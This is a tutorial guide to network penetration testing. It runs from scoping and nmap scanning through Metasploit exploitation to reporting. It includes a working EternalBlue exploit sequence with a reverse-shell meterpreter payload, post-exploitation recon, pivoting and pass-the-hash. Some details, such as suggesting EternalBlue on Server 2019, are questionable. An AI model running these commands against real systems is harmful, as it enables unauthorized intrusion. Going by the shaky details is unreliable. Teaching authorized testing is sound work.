Network Penetration Testing Guide 2026: Methodology, Tools & Process

Network penetration testing is one of the most common security assessments for organizations of all sizes. It simulates a real attacker attempting to breach the corporate network — revealing which systems are exploitable before an actual attacker discovers them.

This guide walks through the complete methodology from scoping to reporting.

Network Penetration Testing Phases

Phase 1: Scoping and Planning

Before executing any commands:

• Rules of Engagement (RoE): Which IPs/subnets are in scope?
• Testing window: When can testing occur (business hours, nights, weekends)?
• Emergency contact: Who to notify if critical systems are impacted?
• Written authorization: Mandatory before any testing begins

Without this foundation, every action is unauthorized — regardless of intent.

Phase 2: Reconnaissance

Passive (no direct interaction with target systems):

# WHOIS information
whois targetcompany.com

# DNS enumeration
dig targetcompany.com ANY
dnsrecon -d targetcompany.com -t std

# Shodan (no direct target contact)
# Search: org:"Target Company" — reveals publicly visible services

OSINT: LinkedIn for org structure and tech stack, job postings (reveal technology in use), Google dorking for exposed admin panels.

Active (target systems are contacted — authorized scope only):

# Host discovery (which hosts are alive?)
nmap -sn 10.10.10.0/24   # Ping sweep
nmap -sn --send-ip 10.10.10.0/24  # For environments that block ICMP

Phase 3: Port Scanning and Service Enumeration

Nmap: The standard tool

# Full scan (all 65535 ports — thorough but slow)
nmap -p- -sV -sC -oA fullscan 10.10.10.0/24

# Quick initial scan (top 1000 ports)
nmap -sV -sC -O 10.10.10.0/24 -oN scan_results.txt

# UDP scan (often overlooked — SNMP, DNS, DHCP run on UDP)
nmap -sU --top-ports 100 10.10.10.1

# Aggressive scan with OS detection
nmap -A -T4 10.10.10.1

Output flags:

• -oN scan.txt — Normal format
• -oX scan.xml — XML (importable into Metasploit)
• -oG scan.gnmap — Greppable format
• -oA prefix — All three simultaneously

Interpreting key discovered services:

PORT     SERVICE    VERSION
22/tcp   ssh        OpenSSH 7.6 (Ubuntu)
80/tcp   http       Apache 2.4.29
445/tcp  microsoft-ds Windows Server 2019
3389/tcp ms-wbt-server Microsoft Terminal Services

→ SSH 7.6 is outdated with known vulnerabilities. Windows Server 2019 on 445 → SMB, worth checking for EternalBlue variants and SMB relay attacks.

Phase 4: Vulnerability Scanning

# Nmap NSE scripts for known vulnerabilities
nmap --script vuln 10.10.10.1

# SMB-specific checks
nmap --script smb-vuln* -p 445 10.10.10.1

# Nikto for web applications
nikto -h http://10.10.10.1

Nessus (commercial, industry standard):

• Essentials tier: free up to 32 IPs
• Automatically identifies thousands of known CVEs
• CVSS scores and remediation guidance built in
• Exportable PDF/HTML reports for client delivery

OpenVAS (open-source alternative):

sudo gvm-start  # GVM is the current name
# Browser: https://localhost:9392

Phase 5: Exploitation

After identifying exploitable vulnerabilities:

Metasploit Framework:

msfconsole

# Example: EternalBlue (MS17-010) on Windows 7/Server 2008
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.100
run

Manual exploitation:

# searchsploit — local exploit database
searchsploit "Apache 2.4.29"

# Exploit-DB.com for detailed PoC code

Phase 6: Post-Exploitation and Lateral Movement

After initial access:

# Meterpreter: system information
sysinfo
getuid
# Network interfaces on compromised host
ipconfig  # (Windows) or ifconfig (Linux)
# Local privilege escalation suggestions
run post/multi/recon/local_exploit_suggester

Lateral movement:

• Use harvested credentials on other systems
• Pass-the-Hash (Windows NTLM environments)
• SSH key reuse (Linux/Unix environments)
• Pivoting through compromised hosts into isolated segments

# Metasploit routing through compromised host
route add 192.168.1.0 255.255.255.0 [SESSION_ID]
# Internal 192.168.1.x hosts are now reachable

Phase 7: Reporting

A professional penetration test report includes:

Executive Summary (non-technical):

• Overall risk rating (Critical/High/Medium/Low)
• Top 3 findings in plain language
• Prioritized remediation roadmap

Technical finding template:

Title: SMB EternalBlue (MS17-010) on 10.10.10.5
CVSS Score: 9.8 (Critical)
Affected Systems: Windows Server 2012 R2
Evidence: [Screenshot of Meterpreter shell with SYSTEM privs]
Description: The target is running an unpatched version of SMB...
Recommendation: Apply patch KB4012212, disable SMBv1 via GPO

Common Findings in Enterprise Networks

• Unpatched Windows systems (SMB vulnerabilities, PrintNightmare, Log4Shell)
• Default credentials on network devices and appliances
• Unencrypted protocols for internal admin interfaces (Telnet, HTTP, FTP)
• Flat network architecture with no segmentation
• SNMP with default community string "public"
• Self-signed or expired TLS certificates on internal services
• Kerberoastable service accounts with weak passwords (Active Directory)

The Pentevo Academy covers network security as a core CEH topic — completely free, with hands-on labs that reinforce the methodology described here.